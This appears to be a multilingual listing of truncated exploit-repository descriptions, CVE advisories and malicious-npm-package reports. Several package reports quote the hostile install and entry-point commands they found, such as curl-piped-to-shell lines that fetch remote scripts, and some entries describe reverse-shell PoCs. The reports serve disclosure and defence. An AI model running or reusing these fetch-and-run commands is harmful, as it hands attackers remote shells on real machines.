Mitigation-Apache-CVE-2021-41773-

Mitigation-CVE-2021-41773- Apache におけるパストラバーサルおよびファイル開示の脆弱性である CVE-2021-41773 を緩和するシェルスクリプト インストール root@kitploit: wget https://github.com/EkamSinghWalia/Mitigation-CVE-2021-41773-.git 使用方法 脆弱性を緩和するための完全な修正および推奨方法 このスクリプトはシステムリポジトリと Apache をアップグレードおよび更新します。 root@kitploit: bash apachefix.sh 注意 -...

CVE-2019-18276

CVE-2019-18276 漏洞的研究与可行性证明（PoC）： gotham 目录包含一个 Dockerfile 镜像、一个 Makefile 和一个 shell 脚本 exploit.sh，这些都是演示所必需的。 要启动演示：请按照附件视频 demoCVE201918276.mp4 中的说明和解释进行操作。...

moveit-payload-decrypt-CVE-2023-34362

moveit-payload-decrypt-CVE-2023-34362 这个Shell脚本在给定OrgKey 0的情况下，解析MOVEit日志中发现的base64工件的头部，并解密用作payload的序列化对象。...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Spring Cloud Function の脆弱性 CVE-2022-22963 RCE これは Spring4Shell CVE-2022-22963 の Python 実装です。 Spring Cloud Function =3.1.6（3.1.x 系向け）、 および =3.2.2（3.2.x 系向け）を実行しているサービスに影響します。 オンライン上の複数の POC を組み合わせたものです。 作者: Randall Banner 日付: 17/04/23 説明: このスクリプトは、現在のディレクトリに、単純な bash リバースシェルのワンライナー を含む shell.sh...

CVE-2014-6287

Poc exploitbash 스크립트 bash.webm 익스플로잇에 관하여 .sh 파일로 리버스 셸을 획득할 수 있습니다 Linux에서 .py 파일로 리버스 셸을 획득할 수 있습니다 Windows 및 Linux에서 Windows에서는 netcat을 설치해야 합니다 url을 반드시 지정해야 합니다 예: http://target.com/ .py 사용법: python exploit.py .sh 사용법: chmod +x exploit.sh ./exploit.sh 익스플로잇 제목: CVE-2014-6287 | Rejetto http...

CVE-2026-59310

CVE-2026-59310 寄付 PayPalまたは以下のQRコードをスキャンして、このプロジェクトのメンテナンスを支援してください。 ⚡ 簡単な使い方 このプロジェクトは、以下のような安全で許可された環境でのみ使用してください: ローカル仮想マシン Dockerコンテナ 隔離されたラボ環境 許可されたペネトレーションテスト環境 セットアップと使用例: root@kitploit: Follow every dir project 注: 他のプロジェクトからクローンした場合は、ネストされた .git ディレクトリをクリアするために curl -fsSL...

CVE-2026-15410

cve-id ⚡ 簡単な使い方 このプロジェクトは、次のような安全かつ許可された環境でのみ使用してください。 ローカル仮想マシン Docker コンテナ 分離されたラボ環境 許可されたペネトレーションテスト環境 セットアップ例: root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source venv/bin/activate...

FIX-CVE-2024-2961

Ubuntu및 다른 플랫폼에서 CVE-2024-2961을 완화하기 위한 빠르고 간단한 셸 스크립트 셸 스크립트를 실행하면 끝입니다. gconv 구성의 경로를 변경해야 할 수도 있습니다. Matt...

CVE-2009-4623

CVE-2009-4623 Remote-Shell auf CVE-2009-4623: Erhalten Sie eine nicht-interaktive Shell, öffnen Sie eine weitere Shell für eine erweiterte Nutzung !!! Verwendung: CVE-2009-4623.sh hostnameandPath Beispiel: CVE-2009-4623.sh http://192.168.1.24/advancedcommentsystem/admin.php Optionen: -h dieser Kr...

CVE-2026-53365

CVE-2026-53365 Dona Supporta la manutenzione di questo progetto con PayPal o scansionando il codice QR qui sotto. ⚡ Uso Semplice Utilizza questo progetto solo in ambienti sicuri e autorizzati, come: Macchine virtuali locali Container Docker Configurazioni di laboratorio isolate Ambienti di test d...

CVE-2023-23752

Installazione root@kitploit: git clone https://github.com/0xx01/CVE-2023-23752.git cd CVE-2023-23752 chmod +x exploit.sh Utilizzo root@kitploit: ./exploit.sh http://localhost...

dracut: dracut: Root code execution via DHCP options command injection

A flaw was found in dracut. A remote attacker on the adjacent network can exploit this vulnerability by providing specially crafted DHCP Dynamic Host Configuration Protocol options, such as a malicious hostname, to a system using dracut's legacy DHCP path. These options are improperly handled and...

EUVD-2026-63379

An Ubuntu-specific patch to AccountsService before 23.13.9-8ubuntu7 only partially drops privileges before launching language helper scripts. It changes the effective UID/GID to the target user but leaves the real UID as 0 root. A shell spawned by a helper script inherits ruid=0 and may reset its...

Oracle Linux 10 : dracut (ELSA-2026-54576)

The remote Oracle Linux 10 host has packages installed that are affected by a vulnerability as referenced in the ELSA-2026-54576 advisory. 107-9.0.1 - Suppress stderr for btrfs subvolume check Orabug: 39059254 - fips: add logic for /boot subvolume on BTRFS Orabug: 36028061 - Skip unneeded FIPS...

Malicious code in internallib_v514 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea package.json declares a preinstall lifecycle hook that runs curl http://10.0.70.90/rev.sh | sh, fetching an unpinned shell script from a bare interna...

Malicious code in @mgor/fw-canary-20260725-394b024b (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 80e828a7ffd0138db85154b49b584df253be1e6509a0a4aa6475bfe317510f37 index.js, the package's declared main entry point, unconditionally executes curl fewafw.hydege.me | /bin/bash at top level. Any consumer that require...

CVE-2026-26718

CVE-2026-26718 – xxl-job-admin 3.0.0 CSRF flaw . A Cross-Site Request Forgery exists in the xxl-job-admin web application (v3.0.0) that enables an attacker to perform unauthorized modifications to Glue IDE shell scripts. The affected endpoint lacks proper CSRF token validation and accepts arbitra...

Malicious code in internallib_v856 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d94a6872645a3d5b938f9bc48871dbdff18068bd32d04169c3e421cd6830934a The package's main entry index.js exports a single function command that invokes /bin/bash -c "curl -s http://10.0.0.145:8080/shell.sh | bash || wget...

AZL-90111 CVE-2026-6893 affecting package dracut 102-13

A flaw was found in dracut. A remote attacker on the adjacent network can exploit this vulnerability by providing specially crafted DHCP Dynamic Host Configuration Protocol options, such as a malicious hostname, to a system using dracut's legacy DHCP path. These options are improperly handled and...

CVE-2026-45158

OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.8, unsanitized user input is passed to the DHCP configuration of the configured interface, which is processed by a shell script, allowing remote code execution as root on the underlying operating system. This vulnerability i...